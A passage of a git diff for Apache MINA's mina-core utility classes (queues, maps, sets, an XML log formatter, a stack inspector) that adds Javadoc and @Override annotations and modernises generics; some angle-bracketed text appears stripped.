- realIdx); + System.arraycopy(items, realIdx, items, realIdx + 1, last - realIdx); } else { if (realIdx >= first) { System.arraycopy(items, 0, items, 1, last); items[0] = items[items.length - 1]; - System.arraycopy(items, realIdx, items, realIdx + 1, - items.length - realIdx - 1); + System.arraycopy(items, realIdx, items, realIdx + 1, items.length - realIdx - 1); } else { - System.arraycopy(items, realIdx, items, realIdx + 1, last - - realIdx); + System.arraycopy(items, realIdx, items, realIdx + 1, last - realIdx); } } @@ -303,8 +349,11 @@ public void add(int idx, E o) { increaseSize(); } - @SuppressWarnings("unchecked") + /** + * {@inheritDoc} + */ @Override + @SuppressWarnings("unchecked") public E remove(int idx) { if (idx == 0) { return poll(); @@ -320,13 +369,11 @@ public E remove(int idx) { System.arraycopy(items, first, items, first + 1, realIdx - first); } else { if (realIdx >= first) { - System.arraycopy(items, first, items, first + 1, realIdx - - first); + System.arraycopy(items, first, items, first + 1, realIdx - first); } else { System.arraycopy(items, 0, items, 1, realIdx); items[0] = items[items.length - 1]; - System.arraycopy(items, first, items, first + 1, items.length - - first - 1); + System.arraycopy(items, first, items, first + 1, items.length - first - 1); } } @@ -337,6 +384,10 @@ public E remove(int idx) { return (E) removed; } + /** + * {@inheritDoc} + */ + @Override public E remove() { if (isEmpty()) { throw new NoSuchElementException(); @@ -344,6 +395,10 @@ public E remove() { return poll(); } + /** + * {@inheritDoc} + */ + @Override public E element() { if (isEmpty()) { throw new NoSuchElementException(); diff --git a/mina-core/src/main/java/org/apache/mina/util/ConcurrentHashSet.java b/mina-core/src/main/java/org/apache/mina/util/ConcurrentHashSet.java index a27e014499..b122a5acc4 100644 --- a/mina-core/src/main/java/org/apache/mina/util/ConcurrentHashSet.java +++ b/mina-core/src/main/java/org/apache/mina/util/ConcurrentHashSet.java @@ -26,6 +26,8 @@ /** * A {@link ConcurrentHashMap}-backed {@link Set}. + * + * @param The type of the element stored in the set * * @author Apache MINA Project */ @@ -33,17 +35,30 @@ public class ConcurrentHashSet extends MapBackedSet { private static final long serialVersionUID = 8518578988740277828L; + /** + * Creates a new instance of ConcurrentHashSet + */ public ConcurrentHashSet() { - super(new ConcurrentHashMap()); + super(new ConcurrentHashMap<>()); } - public ConcurrentHashSet(Collection c) { - super(new ConcurrentHashMap(), c); + /** + * Creates a new instance of ConcurrentHashSet, initialized with + * the content of another collection + * + * @param collection The collection to inject in this set + */ + public ConcurrentHashSet(Collection collection) { + super(new ConcurrentHashMap<>(), collection); } + /** + * {@inheritDoc} + */ @Override - public boolean add(E o) { - Boolean answer = ((ConcurrentMap) map).putIfAbsent(o, Boolean.TRUE); + public boolean add(E element) { + Boolean answer = ((ConcurrentMap) map).putIfAbsent(element, Boolean.TRUE); + return answer == null; } } diff --git a/mina-core/src/main/java/org/apache/mina/util/CopyOnWriteMap.java b/mina-core/src/main/java/org/apache/mina/util/CopyOnWriteMap.java index cf8717b818..e1ed061d30 100644 --- a/mina-core/src/main/java/org/apache/mina/util/CopyOnWriteMap.java +++ b/mina-core/src/main/java/org/apache/mina/util/CopyOnWriteMap.java @@ -32,6 +32,9 @@ * cases in which the primary function is to read data from the Map, not to * modify the Map. Therefore the operations that do not cause a change to this * class happen quickly and concurrently. + * + * @param The key type + * @param The value type * * @author Apache MINA Project */ @@ -40,20 +43,18 @@ public class CopyOnWriteMap implements Map, Cloneable { /** * Creates a new instance of CopyOnWriteMap. - * */ public CopyOnWriteMap() { - internalMap = new HashMap(); + internalMap = new HashMap<>(); } /** * Creates a new instance of CopyOnWriteMap with the specified initial size * - * @param initialCapacity - * The initial size of the Map. + * @param initialCapacity The initial size of the Map. */ public CopyOnWriteMap(int initialCapacity) { - internalMap = new HashMap(initialCapacity); + internalMap = new HashMap<>(initialCapacity); } /** @@ -61,12 +62,11 @@ public CopyOnWriteMap(int initialCapacity) { * initial data being held by this map is contained in * the supplied map. * - * @param data - * A Map containing the initial contents to be placed into + * @param data A Map containing the initial contents to be placed into * this class. */ public CopyOnWriteMap(Map data) { - internalMap = new HashMap(data); + internalMap = new HashMap<>(data); } /** @@ -74,11 +74,13 @@ public CopyOnWriteMap(Map data) { * * @see java.util.Map#put(java.lang.Object, java.lang.Object) */ + @Override public V put(K key, V value) { synchronized (this) { - Map newMap = new HashMap(internalMap); + Map newMap = new HashMap<>(internalMap); V val = newMap.put(key, value); internalMap = newMap; + return val; } } @@ -89,11 +91,13 @@ public V put(K key, V value) { * * @see java.util.Map#remove(java.lang.Object) */ + @Override public V remove(Object key) { synchronized (this) { - Map newMap = new HashMap(internalMap); + Map newMap = new HashMap<>(internalMap); V val = newMap.remove(key); internalMap = newMap; + return val; } } @@ -104,9 +108,10 @@ public V remove(Object key) { * * @see java.util.Map#putAll(java.util.Map) */ + @Override public void putAll(Map newData) { synchronized (this) { - Map newMap = new HashMap(internalMap); + Map newMap = new HashMap<>(internalMap); newMap.putAll(newData); internalMap = newMap; } @@ -117,9 +122,10 @@ public void putAll(Map newData) { * * @see java.util.Map#clear() */ + @Override public void clear() { synchronized (this) { - internalMap = new HashMap(); + internalMap = new HashMap<>(); } } @@ -128,49 +134,54 @@ public void clear() { // ==== the internal Maps ==== // ============================================== /** - * Returns the number of key/value pairs in this map. + * @return the number of key/value pairs in this map. * * @see java.util.Map#size() */ + @Override public int size() { return internalMap.size(); } /** - * Returns true if this map is empty, otherwise false. + * @return true if this map is empty, otherwise false. * * @see java.util.Map#isEmpty() */ + @Override public boolean isEmpty() { return internalMap.isEmpty(); } /** - * Returns true if this map contains the provided key, otherwise + * @return true if this map contains the provided key, otherwise * this method return false. * * @see java.util.Map#containsKey(java.lang.Object) */ + @Override public boolean containsKey(Object key) { return internalMap.containsKey(key); } /** - * Returns true if this map contains the provided value, otherwise + * @return true if this map contains the provided value, otherwise * this method returns false. * * @see java.util.Map#containsValue(java.lang.Object) */ + @Override public boolean containsValue(Object value) { return internalMap.containsValue(value); } /** - * Returns the value associated with the provided key from this + * @return the value associated with the provided key from this * map. * * @see java.util.Map#get(java.lang.Object) */ + @Override public V get(Object key) { return internalMap.get(key); } @@ -178,6 +189,7 @@ public V get(Object key) { /** * This method will return a read-only {@link Set}. */ + @Override public Set keySet() { return internalMap.keySet(); } @@ -185,6 +197,7 @@ public Set keySet() { /** * This method will return a read-only {@link Collection}. */ + @Override public Collection values() { return internalMap.values(); } @@ -192,6 +205,7 @@ public Collection values() { /** * This method will return a read-only {@link Set}. */ + @Override public Set> entrySet() { return internalMap.entrySet(); } @@ -201,7 +215,7 @@ public Object clone() { try { return super.clone(); } catch (CloneNotSupportedException e) { - throw new InternalError(); + throw new UnsupportedOperationException(e); } } } diff --git a/mina-core/src/main/java/org/apache/mina/util/DaemonThreadFactory.java b/mina-core/src/main/java/org/apache/mina/util/DaemonThreadFactory.java new file mode 100644 index 0000000000..386bf68fcb --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/util/DaemonThreadFactory.java @@ -0,0 +1,43 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.util; + +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; + +/** + * A Thread Factory that creates Daemon threads + * + * + * @author Apache MINA Project + */ +public class DaemonThreadFactory implements ThreadFactory { + /** + * {@inheritDoc} + */ + @Override + public Thread newThread(Runnable runnable) { + // Create daemon threads. + Thread thread = Executors.defaultThreadFactory().newThread(runnable); + thread.setDaemon(true); + + return thread; + } +} diff --git a/mina-core/src/main/java/org/apache/mina/util/DefaultExceptionMonitor.java b/mina-core/src/main/java/org/apache/mina/util/DefaultExceptionMonitor.java index 7b9d595df7..989b9b8e69 100644 --- a/mina-core/src/main/java/org/apache/mina/util/DefaultExceptionMonitor.java +++ b/mina-core/src/main/java/org/apache/mina/util/DefaultExceptionMonitor.java @@ -33,7 +33,7 @@ * @author Apache MINA Project */ public class DefaultExceptionMonitor extends ExceptionMonitor { - private final static Logger LOGGER = LoggerFactory.getLogger(DefaultExceptionMonitor.class); + private static final Logger LOGGER = LoggerFactory.getLogger(DefaultExceptionMonitor.class); /** * {@inheritDoc} diff --git a/mina-core/src/main/java/org/apache/mina/util/ExceptionMonitor.java b/mina-core/src/main/java/org/apache/mina/util/ExceptionMonitor.java index 9da76a1930..a293fe73a4 100644 --- a/mina-core/src/main/java/org/apache/mina/util/ExceptionMonitor.java +++ b/mina-core/src/main/java/org/apache/mina/util/ExceptionMonitor.java @@ -19,15 +19,13 @@ */ package org.apache.mina.util; - - /** * Monitors uncaught exceptions. {@link #exceptionCaught(Throwable)} is * invoked when there are any uncaught exceptions. *

    * You can monitor any uncaught exceptions by setting {@link ExceptionMonitor} * by calling {@link #setInstance(ExceptionMonitor)}. The default - * monitor logs all caught exceptions in WARN level using + * monitor logs all caught exceptions in WARN level using * SLF4J. * * @author Apache MINA Project @@ -38,7 +36,7 @@ public abstract class ExceptionMonitor { private static ExceptionMonitor instance = new DefaultExceptionMonitor(); /** - * Returns the current exception monitor. + * @return the current exception monitor. */ public static ExceptionMonitor getInstance() { return instance; @@ -49,14 +47,14 @@ public static ExceptionMonitor getInstance() { * the default monitor will be set. * * @param monitor A new instance of {@link DefaultExceptionMonitor} is set - * if null is specified. + * if null is specified. */ public static void setInstance(ExceptionMonitor monitor) { if (monitor == null) { - monitor = new DefaultExceptionMonitor(); + instance = new DefaultExceptionMonitor(); + } else { + instance = monitor; } - - instance = monitor; } /** diff --git a/mina-core/src/main/java/org/apache/mina/util/ExpirationListener.java b/mina-core/src/main/java/org/apache/mina/util/ExpirationListener.java index ec568174f1..51b7673bfa 100644 --- a/mina-core/src/main/java/org/apache/mina/util/ExpirationListener.java +++ b/mina-core/src/main/java/org/apache/mina/util/ExpirationListener.java @@ -21,10 +21,16 @@ /** * A listener for expired object events. + * + * @param The event type * * @author Apache MINA Project - * TODO Make this a inner interface of ExpiringMap */ public interface ExpirationListener { + /** + * Adds a given event to the listener + * + * @param expiredObject The expired event + */ void expired(E expiredObject); } diff --git a/mina-core/src/main/java/org/apache/mina/util/ExpiringMap.java b/mina-core/src/main/java/org/apache/mina/util/ExpiringMap.java index 4aa7230ac1..e82b4d0d4a 100644 --- a/mina-core/src/main/java/org/apache/mina/util/ExpiringMap.java +++ b/mina-core/src/main/java/org/apache/mina/util/ExpiringMap.java @@ -31,19 +31,17 @@ * A map with expiration. This class contains a worker thread that will * periodically check this class in order to determine if any objects * should be removed based on the provided time-to-live value. + * + * @param The key type + * @param The value type * * @author Apache MINA Project */ public class ExpiringMap implements Map { - - /** - * The default value, 60 - */ + /** The default value, 60 seconds */ public static final int DEFAULT_TIME_TO_LIVE = 60; - /** - * The default value, 1 - */ + /** The default value, 1 second */ public static final int DEFAULT_EXPIRATION_INTERVAL = 1; private static volatile int expirerCount = 1; @@ -67,8 +65,7 @@ public ExpiringMap() { * Creates a new instance of ExpiringMap using the supplied * time-to-live value and the default value for DEFAULT_EXPIRATION_INTERVAL * - * @param timeToLive - * The time-to-live value (seconds) + * @param timeToLive The time-to-live value (seconds) */ public ExpiringMap(int timeToLive) { this(timeToLive, DEFAULT_EXPIRATION_INTERVAL); @@ -78,20 +75,16 @@ public ExpiringMap(int timeToLive) { * Creates a new instance of ExpiringMap using the supplied values and * a {@link ConcurrentHashMap} for the internal data structure. * - * @param timeToLive - * The time-to-live value (seconds) - * @param expirationInterval - * The time between checks to see if a value should be removed (seconds) + * @param timeToLive The time-to-live value (seconds) + * @param expirationInterval The time between checks to see if a value should be removed (seconds) */ public ExpiringMap(int timeToLive, int expirationInterval) { - this(new ConcurrentHashMap(), - new CopyOnWriteArrayList>(), timeToLive, + this(new ConcurrentHashMap<>(), new CopyOnWriteArrayList<>(), timeToLive, expirationInterval); } private ExpiringMap(ConcurrentHashMap delegate, - CopyOnWriteArrayList> expirationListeners, - int timeToLive, int expirationInterval) { + CopyOnWriteArrayList> expirationListeners, int timeToLive, int expirationInterval) { this.delegate = delegate; this.expirationListeners = expirationListeners; @@ -100,9 +93,13 @@ private ExpiringMap(ConcurrentHashMap delegate, expirer.setExpirationInterval(expirationInterval); } + /** + * {@inheritDoc} + */ + @Override public V put(K key, V value) { - ExpiringObject answer = delegate.put(key, new ExpiringObject(key, - value, System.currentTimeMillis())); + ExpiringObject answer = delegate.put(key, new ExpiringObject(key, value, System.currentTimeMillis())); + if (answer == null) { return null; } @@ -110,6 +107,10 @@ public V put(K key, V value) { return answer.getValue(); } + /** + * {@inheritDoc} + */ + @Override public V get(Object key) { ExpiringObject object = delegate.get(key); @@ -122,6 +123,10 @@ public V get(Object key) { return null; } + /** + * {@inheritDoc} + */ + @Override public V remove(Object key) { ExpiringObject answer = delegate.remove(key); if (answer == null) { @@ -131,79 +136,151 @@ public V remove(Object key) { return answer.getValue(); } + /** + * {@inheritDoc} + */ + @Override public boolean containsKey(Object key) { return delegate.containsKey(key); } + /** + * {@inheritDoc} + */ + @Override public boolean containsValue(Object value) { return delegate.containsValue(value); } + /** + * {@inheritDoc} + */ + @Override public int size() { return delegate.size(); } + /** + * {@inheritDoc} + */ + @Override public boolean isEmpty() { return delegate.isEmpty(); } + /** + * {@inheritDoc} + */ + @Override public void clear() { delegate.clear(); } + /** + * {@inheritDoc} + */ @Override public int hashCode() { return delegate.hashCode(); } + /** + * {@inheritDoc} + */ + @Override public Set keySet() { return delegate.keySet(); } + /** + * {@inheritDoc} + */ @Override public boolean equals(Object obj) { return delegate.equals(obj); } + /** + * {@inheritDoc} + */ + @Override public void putAll(Map inMap) { for (Entry e : inMap.entrySet()) { this.put(e.getKey(), e.getValue()); } } + /** + * {@inheritDoc} + */ + @Override public Collection values() { throw new UnsupportedOperationException(); } + /** + * {@inheritDoc} + */ + @Override public Set> entrySet() { throw new UnsupportedOperationException(); } + /** + * Adds a listener in the expiration listeners + * + * @param listener The listener to add + */ public void addExpirationListener(ExpirationListener listener) { expirationListeners.add(listener); } - public void removeExpirationListener( - ExpirationListener listener) { + /** + * Removes a listener from the expiration listeners + * + * @param listener The listener to remove + */ + public void removeExpirationListener(ExpirationListener listener) { expirationListeners.remove(listener); } + /** + * @return The Expirer instance + */ public Expirer getExpirer() { return expirer; } + /** + * Get the interval in which an object will live in the map before it is removed. + * + * @return The expiration time in second + */ public int getExpirationInterval() { return expirer.getExpirationInterval(); } + /** + * @return the Time-to-live value in seconds. + */ public int getTimeToLive() { return expirer.getTimeToLive(); } + /** + * Set the interval in which an object will live in the map before it is removed. + * + * @param expirationInterval The expiration time in seconds + */ public void setExpirationInterval(int expirationInterval) { expirer.setExpirationInterval(expirationInterval); } + /** + * Update the value for the time-to-live + * + * @param timeToLive The time-to-live (seconds) + */ public void setTimeToLive(int timeToLive) { expirer.setTimeToLive(timeToLive); } @@ -219,8 +296,7 @@ private class ExpiringObject { ExpiringObject(K key, V value, long lastAccessTime) { if (value == null) { - throw new IllegalArgumentException( - "An expiring object cannot be null."); + throw new IllegalArgumentException("An expiring object cannot be null."); } this.key = key; @@ -271,7 +347,7 @@ public int hashCode() { * A Thread that monitors an {@link ExpiringMap} and will remove * elements that have passed the threshold. * - */ + */ public class Expirer implements Runnable { private final ReadWriteLock stateLock = new ReentrantReadWriteLock(); @@ -288,11 +364,14 @@ public class Expirer implements Runnable { * */ public Expirer() { - expirerThread = new Thread(this, "ExpiringMapExpirer-" - + expirerCount++); + expirerThread = new Thread(this, "ExpiringMapExpirer-" + expirerCount++); expirerThread.setDaemon(true); } + /** + * {@inheritDoc} + */ + @Override public void run() { while (running) { processExpires(); @@ -349,6 +428,7 @@ public void startExpiring() { */ public void startExpiringIfNotStarted() { stateLock.readLock().lock(); + try { if (running) { return; @@ -358,6 +438,7 @@ public void startExpiringIfNotStarted() { } stateLock.writeLock().lock(); + try { if (!running) { running = true; @@ -401,10 +482,7 @@ public boolean isRunning() { } /** - * Returns the Time-to-live value. - * - * @return - * The time-to-live (seconds) + * @return the Time-to-live value in seconds. */ public int getTimeToLive() { stateLock.readLock().lock(); diff --git a/mina-core/src/main/java/org/apache/mina/util/IdentityHashSet.java b/mina-core/src/main/java/org/apache/mina/util/IdentityHashSet.java index 703488b880..d67998013a 100644 --- a/mina-core/src/main/java/org/apache/mina/util/IdentityHashSet.java +++ b/mina-core/src/main/java/org/apache/mina/util/IdentityHashSet.java @@ -25,22 +25,36 @@ /** * An {@link IdentityHashMap}-backed {@link Set}. + * + * @param The element type * * @author Apache MINA Project */ public class IdentityHashSet extends MapBackedSet { - private static final long serialVersionUID = 6948202189467167147L; + /** + * Creates a new IdentityHashSet instance + */ public IdentityHashSet() { - super(new IdentityHashMap()); + super(new IdentityHashMap<>()); } - + + /** + * Creates a new IdentityHashSet instance + * + * @param expectedMaxSize The maximum size for the map + */ public IdentityHashSet(int expectedMaxSize) { - super(new IdentityHashMap(expectedMaxSize)); + super(new IdentityHashMap<>(expectedMaxSize)); } + /** + * Creates a new IdentityHashSet instance + * + * @param c The elements to put in the map + */ public IdentityHashSet(Collection c) { - super(new IdentityHashMap(), c); + super(new IdentityHashMap<>(), c); } } diff --git a/mina-core/src/main/java/org/apache/mina/util/LazyInitializedCacheMap.java b/mina-core/src/main/java/org/apache/mina/util/LazyInitializedCacheMap.java index adc600d41b..e8f495b791 100644 --- a/mina-core/src/main/java/org/apache/mina/util/LazyInitializedCacheMap.java +++ b/mina-core/src/main/java/org/apache/mina/util/LazyInitializedCacheMap.java @@ -37,6 +37,9 @@ * {@link UnsupportedOperationException} on each method that is not intended to * be called by user code for performance reasons. * + * @param The key type + * @param The value type + * * @author Apache MINA Project * @since MINA 2.0.0-M2 */ @@ -50,10 +53,19 @@ public class LazyInitializedCacheMap implements Map { public class NoopInitializer extends LazyInitializer { private V value; + /** + * Create a new NoopInitializer instance + * + * @param value The value stored in this initializer + */ public NoopInitializer(V value) { this.value = value; } + /** + * {@inheritDoc} + */ + @Override public V init() { return value; } @@ -64,22 +76,26 @@ public V init() { * {@link ConcurrentHashMap}. */ public LazyInitializedCacheMap() { - this.cache = new ConcurrentHashMap>(); + this.cache = new ConcurrentHashMap<>(); } - + /** * This constructor allows to provide a fine tuned {@link ConcurrentHashMap} * to stick with each special case the user needs. + * + * @param map The map to use as a cache */ - public LazyInitializedCacheMap(final ConcurrentHashMap> map) { + public LazyInitializedCacheMap(ConcurrentHashMap> map) { this.cache = map; - } + } /** * {@inheritDoc} */ + @Override public V get(Object key) { LazyInitializer c = cache.get(key); + if (c != null) { return c.get(); } @@ -90,8 +106,10 @@ public V get(Object key) { /** * {@inheritDoc} */ + @Override public V remove(Object key) { LazyInitializer c = cache.remove(key); + if (c != null) { return c.get(); } @@ -114,12 +132,14 @@ public V remove(Object key) { * @param value a lazy initialized value object. * * @return the previous value associated with the specified key, - * or null if there was no mapping for the key + * or null if there was no mapping for the key */ public V putIfAbsent(K key, LazyInitializer value) { LazyInitializer v = cache.get(key); + if (v == null) { v = cache.putIfAbsent(key, value); + if (v == null) { return value.get(); } @@ -131,8 +151,10 @@ public V putIfAbsent(K key, LazyInitializer value) { /** * {@inheritDoc} */ + @Override public V put(K key, V value) { LazyInitializer c = cache.put(key, new NoopInitializer(value)); + if (c != null) { return c.get(); } @@ -141,25 +163,28 @@ public V put(K key, V value) { } /** - * @throws {@link UnsupportedOperationException} as this method would imply + * Throws {@link UnsupportedOperationException} as this method would imply * performance drops. */ + @Override public boolean containsValue(Object value) { throw new UnsupportedOperationException(); } /** - * @throws {@link UnsupportedOperationException} as this method would imply + * Throws {@link UnsupportedOperationException} as this method would imply * performance drops. */ + @Override public Collection values() { throw new UnsupportedOperationException(); } /** - * @throws {@link UnsupportedOperationException} as this method would imply + * Throws {@link UnsupportedOperationException} as this method would imply * performance drops. */ + @Override public Set> entrySet() { throw new UnsupportedOperationException(); } @@ -167,6 +192,7 @@ public Set> entrySet() { /** * {@inheritDoc} */ + @Override public void putAll(Map m) { for (Map.Entry e : m.entrySet()) { cache.put(e.getKey(), new NoopInitializer(e.getValue())); @@ -174,7 +200,7 @@ public void putAll(Map m) { } /** - * {@inheritDoc} + * @return return the values from the cache */ public Collection> getValues() { return cache.values(); @@ -183,6 +209,7 @@ public Collection> getValues() { /** * {@inheritDoc} */ + @Override public void clear() { cache.clear(); } @@ -190,6 +217,7 @@ public void clear() { /** * {@inheritDoc} */ + @Override public boolean containsKey(Object key) { return cache.containsKey(key); } @@ -197,6 +225,7 @@ public boolean containsKey(Object key) { /** * {@inheritDoc} */ + @Override public boolean isEmpty() { return cache.isEmpty(); } @@ -204,6 +233,7 @@ public boolean isEmpty() { /** * {@inheritDoc} */ + @Override public Set keySet() { return cache.keySet(); } @@ -211,6 +241,7 @@ public Set keySet() { /** * {@inheritDoc} */ + @Override public int size() { return cache.size(); } diff --git a/mina-core/src/main/java/org/apache/mina/util/LazyInitializer.java b/mina-core/src/main/java/org/apache/mina/util/LazyInitializer.java index d4245b882f..ccc1684cc6 100644 --- a/mina-core/src/main/java/org/apache/mina/util/LazyInitializer.java +++ b/mina-core/src/main/java/org/apache/mina/util/LazyInitializer.java @@ -24,6 +24,8 @@ * fully initialized when requested to. It allows to avoid loosing time when * early initializing unnecessary objects. * + * @param The value type + * * @author Apache MINA Project * @since MINA 2.0.0-M2 */ @@ -43,8 +45,7 @@ public abstract class LazyInitializer { public abstract V init(); /** - * Returns the value resulting from the initialization. - * @return the initialized value + * @return the value resulting from the initialization. */ public V get() { if (value == null) { diff --git a/mina-core/src/main/java/org/apache/mina/util/Log4jXmlFormatter.java b/mina-core/src/main/java/org/apache/mina/util/Log4jXmlFormatter.java index 527413b1ee..7dc14492bb 100644 --- a/mina-core/src/main/java/org/apache/mina/util/Log4jXmlFormatter.java +++ b/mina-core/src/main/java/org/apache/mina/util/Log4jXmlFormatter.java @@ -19,19 +19,19 @@ */ package org.apache.mina.util; -import org.slf4j.MDC; - -import java.util.logging.Formatter; -import java.util.logging.LogRecord; +import java.util.Arrays; import java.util.Map; import java.util.Set; -import java.util.Arrays; +import java.util.logging.Formatter; +import java.util.logging.LogRecord; + +import org.slf4j.MDC; /** * Implementation of {@link java.util.logging.Formatter} that generates xml in the log4j format. *

    * The generated xml corresponds 100% with what is generated by - * log4j's XMLLayout + * log4j's XMLLayout *

    * The MDC properties will only be correct when format is called from the same thread * that generated the LogRecord. @@ -41,16 +41,19 @@ *

    * The implementation is heavily based on org.apache.log4j.xml.XMLLayout *

    - * + * * @author Apache MINA Project */ public class Log4jXmlFormatter extends Formatter { - private final int DEFAULT_SIZE = 256; - private final int UPPER_LIMIT = 2048; + private static final int DEFAULT_SIZE = 256; + + private static final int UPPER_LIMIT = 2048; + + private StringBuilder buf = new StringBuilder(DEFAULT_SIZE); - private StringBuffer buf = new StringBuffer(DEFAULT_SIZE); private boolean locationInfo = false; + private boolean properties = false; /** @@ -67,9 +70,7 @@ public void setLocationInfo(boolean flag) { } /** - * Returns the current value of the LocationInfo option. - * - * @return whether locationInfo will be output by this layout + * @return the current value of the LocationInfo option. */ public boolean getLocationInfo() { return locationInfo; @@ -93,15 +94,16 @@ public boolean getProperties() { return properties; } - @SuppressWarnings("unchecked") + @Override public String format(final LogRecord record) { // Reset working buffer. If the buffer is too large, then we need a new // one in order to avoid the penalty of creating a large array. if (buf.capacity() > UPPER_LIMIT) { - buf = new StringBuffer(DEFAULT_SIZE); + buf = new StringBuilder(DEFAULT_SIZE); } else { buf.setLength(0); } + buf.append("\r\n"); } } @@ -140,16 +145,20 @@ public String format(final LogRecord record) { } if (properties) { - Map contextMap = MDC.getCopyOfContextMap(); + Map contextMap = MDC.getCopyOfContextMap(); + if (contextMap != null) { - Set keySet = contextMap.keySet(); - if (keySet != null && keySet.size() > 0) { + Set keySet = contextMap.keySet(); + + if ((keySet != null) && !keySet.isEmpty()) { buf.append("\r\n"); Object[] keys = keySet.toArray(); Arrays.sort(keys); + for (Object key1 : keys) { - String key = key1.toString(); + String key = key1 == null ? "" : key1.toString(); Object val = contextMap.get(key); + if (val != null) { buf.append("\r\n"); } } + buf.append("\r\n"); } } - } + buf.append("\r\n\r\n"); return buf.toString(); } - } diff --git a/mina-core/src/main/java/org/apache/mina/util/MapBackedSet.java b/mina-core/src/main/java/org/apache/mina/util/MapBackedSet.java index 0930cc7610..77d201b137 100644 --- a/mina-core/src/main/java/org/apache/mina/util/MapBackedSet.java +++ b/mina-core/src/main/java/org/apache/mina/util/MapBackedSet.java @@ -28,49 +28,80 @@ /** * A {@link Map}-backed {@link Set}. + * + * @param The element stored in the set * * @author Apache MINA Project */ public class MapBackedSet extends AbstractSet implements Serializable { private static final long serialVersionUID = -8347878570391674042L; - + protected final Map map; + /** + * Creates a new MapBackedSet instance + * + * @param map The map that we want to back + */ public MapBackedSet(Map map) { this.map = map; } + /** + * Creates a new MapBackedSet instance + * + * @param map The map that we want to back + * @param c The elements we want to add in the map + */ public MapBackedSet(Map map, Collection c) { this.map = map; addAll(c); } + /** + * {@inheritDoc} + */ @Override public int size() { return map.size(); } + /** + * {@inheritDoc} + */ @Override public boolean contains(Object o) { return map.containsKey(o); } + /** + * {@inheritDoc} + */ @Override public Iterator iterator() { return map.keySet().iterator(); } + /** + * {@inheritDoc} + */ @Override public boolean add(E o) { return map.put(o, Boolean.TRUE) == null; } + /** + * {@inheritDoc} + */ @Override public boolean remove(Object o) { return map.remove(o) != null; } + /** + * {@inheritDoc} + */ @Override public void clear() { map.clear(); diff --git a/mina-core/src/main/java/org/apache/mina/util/NamePreservingRunnable.java b/mina-core/src/main/java/org/apache/mina/util/NamePreservingRunnable.java index 9a260f43d6..de0c7646c0 100644 --- a/mina-core/src/main/java/org/apache/mina/util/NamePreservingRunnable.java +++ b/mina-core/src/main/java/org/apache/mina/util/NamePreservingRunnable.java @@ -32,7 +32,7 @@ public class NamePreservingRunnable implements Runnable { /** The runnable name */ private final String newName; - + /** The runnable task */ private final Runnable runnable; diff --git a/mina-core/src/main/java/org/apache/mina/util/StackInspector.java b/mina-core/src/main/java/org/apache/mina/util/StackInspector.java new file mode 100644 index 0000000000..53a6826f30 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/util/StackInspector.java @@ -0,0 +1,78 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.util; + +/** + * Utility to retrieving the thread stack debug information + * + * @author Apache MINA Project + * @author Jonathan Valliere + */ +public class StackInspector extends RuntimeException { + static public final StackTraceElement callee() { + return Thread.currentThread().getStackTrace()[3]; + } + + static public final StackInspector get(String message) { + try { + throw new StackInspector(message); + } catch (StackInspector e0) { + return e0; + } + } + + static public final StackInspector get(Throwable cause) { + try { + throw new StackInspector(cause); + } catch (StackInspector e0) { + return e0; + } + } + + static public final StackInspector get() { + try { + throw new StackInspector("Stack from Thread: " + Thread.currentThread().getName()); + } catch (StackInspector e0) { + return e0; + } + } + + static private final long serialVersionUID = 1L; + + StackInspector() { + + } + + StackInspector(String message) { + super(message); + } + + StackInspector(Throwable cause) { + super(cause); + } + + StackInspector(String message, Throwable cause) { + super(message, cause); + } + + StackInspector(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) { + super(message, cause, enableSuppression, writableStackTrace); + } +} diff --git a/mina-core/src/main/java/org/apache/mina/util/SynchronizedQueue.java b/mina-core/src/main/java/org/apache/mina/util/SynchronizedQueue.java index 13e89bb409..deda3bb819 100644 --- a/mina-core/src/main/java/org/apache/mina/util/SynchronizedQueue.java +++ b/mina-core/src/main/java/org/apache/mina/util/SynchronizedQueue.java @@ -28,102 +28,190 @@ * A decorator that makes the specified {@link Queue} thread-safe. * Like any other synchronizing wrappers, iteration is not thread-safe. * + * @param The type of elements stored in the queue + * * @author Apache MINA Project */ public class SynchronizedQueue implements Queue, Serializable { - + private static final long serialVersionUID = -1439242290701194806L; - - private final Queue q; - public SynchronizedQueue(Queue q) { - this.q = q; + private final Queue queue; + + /** + * Create a new SynchronizedQueue instance + * + * @param queue The queue + */ + public SynchronizedQueue(Queue queue) { + this.queue = queue; } - + + /** + * {@inheritDoc} + */ + @Override public synchronized boolean add(E e) { - return q.add(e); + return queue.add(e); } + /** + * {@inheritDoc} + */ + @Override public synchronized E element() { - return q.element(); + return queue.element(); } + /** + * {@inheritDoc} + */ + @Override public synchronized boolean offer(E e) { - return q.offer(e); + return queue.offer(e); } + /** + * {@inheritDoc} + */ + @Override public synchronized E peek() { - return q.peek(); + return queue.peek(); } + /** + * {@inheritDoc} + */ + @Override public synchronized E poll() { - return q.poll(); + return queue.poll(); } + /** + * {@inheritDoc} + */ + @Override public synchronized E remove() { - return q.remove(); + return queue.remove(); } + /** + * {@inheritDoc} + */ + @Override public synchronized boolean addAll(Collection c) { - return q.addAll(c); + return queue.addAll(c); } + /** + * {@inheritDoc} + */ + @Override public synchronized void clear() { - q.clear(); + queue.clear(); } + /** + * {@inheritDoc} + */ + @Override public synchronized 